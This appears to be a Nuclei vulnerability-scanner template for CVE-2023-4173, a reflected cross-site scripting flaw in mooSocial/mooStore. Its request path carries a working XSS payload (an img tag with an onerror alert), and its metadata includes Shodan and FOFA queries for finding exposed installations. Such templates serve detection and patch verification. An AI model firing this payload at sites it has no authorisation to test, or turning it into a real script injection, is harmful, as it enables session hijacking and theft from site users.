id: CVE-2023-4173

info:
  name: mooSocial 3.1.8 - Reflected XSS
  author: momika233
  severity: medium
  description: |
    A vulnerability, which was classified as problematic, was found in mooSocial mooStore 3.1.6. Affected is an unknown function of the file /search/index.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest patch or upgrade to a newer version of mooSocial to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51670
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4173
    - http://packetstormsecurity.com/files/174016/mooSocial-3.1.8-Cross-Site-Scripting.html
    - https://vuldb.com/?ctiid.236208
    - https://vuldb.com/?id.236208
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4173
    cwe-id: CWE-79
    epss-score: 0.03336
    epss-percentile: 0.87064
    cpe: cpe:2.3:a:moosocial:moostore:3.1.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moostore
    shodan-query: http.favicon.hash:"702863115"
    fofa-query:
      - mooSocial
      - moosocial
      - icon_hash="702863115"
  tags: cve2023,cve,packetstorm,moosocial,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/classified/%22%3E%3Cimg%20src=a%20onerror=alert('document.domain')%3E/search?category=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=a onerror=alert('document.domain')>"
          - "mooSocial"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4a0a00473045022100a5ade34777ab823465827f7bd039e0afbc2570a30d4bf17230a4778f12f443d30220058e2caba95264e879add33e25687ca1f97fdd96d07dd29c1f7b75432b1ffc07:922c64590222798bb761d5b6d8e72950